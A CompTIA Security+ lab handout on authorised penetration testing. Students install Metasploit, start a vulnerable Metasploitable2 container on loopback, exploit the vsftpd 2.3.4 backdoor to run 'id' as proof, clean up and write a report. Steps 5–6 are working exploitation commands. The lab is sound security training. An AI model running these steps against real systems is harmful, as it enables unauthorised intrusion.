Lab 51 — Penetration Testing in an Authorised Lab

> **SY0-701 Objective 5.5** — Explain types and purposes of audits and assessments
>
> **Domain 5** — Security Program Management and Oversight (20%) · **Time:** ~30 min · **Course:** TGS-2023039181 CompTIA Security+ (SY0-701)

Goal: Validate a known vulnerability against a disposable lab container, capture proof, clean up and report — the full engagement cycle.

You'll build: A Metasploit validation of a deliberately vulnerable container on loopback, proof of access, a clean-up step and an engagement report.

> **Authorised scope only.** The only target in this lab is a container **you create on `127.0.0.1` inside the playground**. Never point these tools at any system you do not own or have signed authorisation to test — doing so can breach the **Singapore Computer Misuse Act**. Every real engagement starts with signed rules of engagement (ROE) defining scope, timing and limits.

Prerequisites: Killercoda Ubuntu Playground (root shell) — https://killercoda.com/playgrounds/scenario/ubuntu ; tools installed in steps 1–2.

Background

- A **penetration test** differs from a vulnerability scan: a scan *reports* a weakness; a pentest *proves* it is exploitable and shows business impact.
- Engagement postures: **offensive** (red team), **defensive** (blue team), **integrated** (purple), **physical**.
- Environment knowledge: **known** (full info), **partially known** (some), **unknown** (none). This lab is a *known* environment.
- The lifecycle is plan (ROE) → recon → validate the finding → capture proof → clean up → report and retest.
- Clean-up matters: a report must confirm no artefacts or implants were left behind.

Steps

1. Install Metasploit via the Rapid7 installer

Metasploit is not in the Ubuntu repos; use Rapid7's official signed installer.

```
apt-get update -qq && apt-get install -y curl gpg
curl -sSL https://raw.githubusercontent.com/rapid7/metasploit-
omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb >
/tmp/msfinstall
chmod 755 /tmp/msfinstall && /tmp/msfinstall
msfconsole -v
```

2. Stand up the authorised vulnerable target in Docker

A disposable container on loopback is the only sanctioned target.

```
apt-get install -y docker.io nmap && (service docker start || systemctl start docker)
docker run -d --name vuln -p 2121:21 --rm tleemcjr/metasploitable2 \
  /bin/bash -c "service vsftpd start && sleep infinity"
docker ps
```

3. Recon the target service banner

Confirm the service and version before selecting a module.

```
nmap -sV -p 2121 127.0.0.1
```

4. Search Metasploit for matching modules

Match the banner to a known module.

```
msfconsole -q -x "search vsftpd; exit"
```

5. Validate the finding against the lab target

Run the module against the loopback container to confirm the weakness is real.

```
msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS 127.0.0.1; set
RPORT 2121; run; sessions -l; exit"
```

6. Capture proof of access

Record the command, output and timestamp — these are the engagement's evidence.

```
msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS 127.0.0.1; set
RPORT 2121; run; sessions -i 1 -c 'id; uname -a; hostname'; exit"
```

7. Clean up the target container

Confirm no artefacts remain — a required section of any report.

```
docker rm -f vuln
docker ps -a | grep vuln || echo "target removed, no artefacts left"
```

8. Write the engagement report

Every pentest report carries scope, findings, evidence, recommendations and clean-up.

```
cat > pentest-report.md <<'EOF'
# Penetration Test Report — Lab Engagement
## 1. Scope
- Authorised target: container `vuln` on 127.0.0.1:2121 (playground only)
- Type: known environment, offensive
```

```
## 2. Findings
| ID | Title | Severity | CVSS |
|----|-------|----------|------|
| F1 | vsftpd 2.3.4 backdoor remote code execution | Critical | 10.0 |
## 3. Evidence
- `id` returned the target's root account from the lab container
## 4. Recommendations
- Upgrade vsftpd; segment the host (Lab 19); add an IDS rule (Lab 36)
## 5. Clean-up
- Container removed; no persistence left behind
EOF
cat pentest-report.md
```

Test it

```
docker ps -a | grep -q vuln && echo "CLEANUP FAILED" || echo "target removed"
test -s pentest-report.md && echo "report written"
```

Expected: a session opened against the lab container during step 6 and `id` returned the target account as proof; the container is gone; and `pentest-report.md` contains the five required sections.

Troubleshooting

Symptom	Fix
`msfconsole` very slow to start	First run initialises the database; allow a minute, or run `msfdb init`.
Docker image pull fails	Network/registry issue; retry, or substitute another intentionally vulnerable lab image you own.
No session opens	Confirm the container is up (`docker ps`) and that RPORT matches the published port (2121).

Challenge

Add a "detection" note to the report: which single log or IDS signature (tie it to Lab 36) would have caught this validation on the blue-team side?

Reflection

Objective 5.5 contrasts a scan with a penetration test. In this lab, what did capturing `id` output prove that a vulnerability scanner's "Critical" rating could not?

Exam tips

- A scan reports a weakness; a pentest proves exploitability and business impact.
- Red = offensive, blue = defensive, purple = integrated; known/partially known/unknown = white/grey/black box.
- No signed rules of engagement, no test — ROE defines scope, timing, techniques and an emergency contact.
- Clean-up and retest are part of the engagement, not optional extras.

References

- Metasploit Unleashed (free) — https://www.offsec.com/metasploit-unleashed/
- PTES penetration testing standard — https://www.pentest-standard.org
- MITRE ATT&CK — https://attack.mitre.org
- Singapore Computer Misuse Act — https://sso.agc.gov.sg/Act/CMA1993
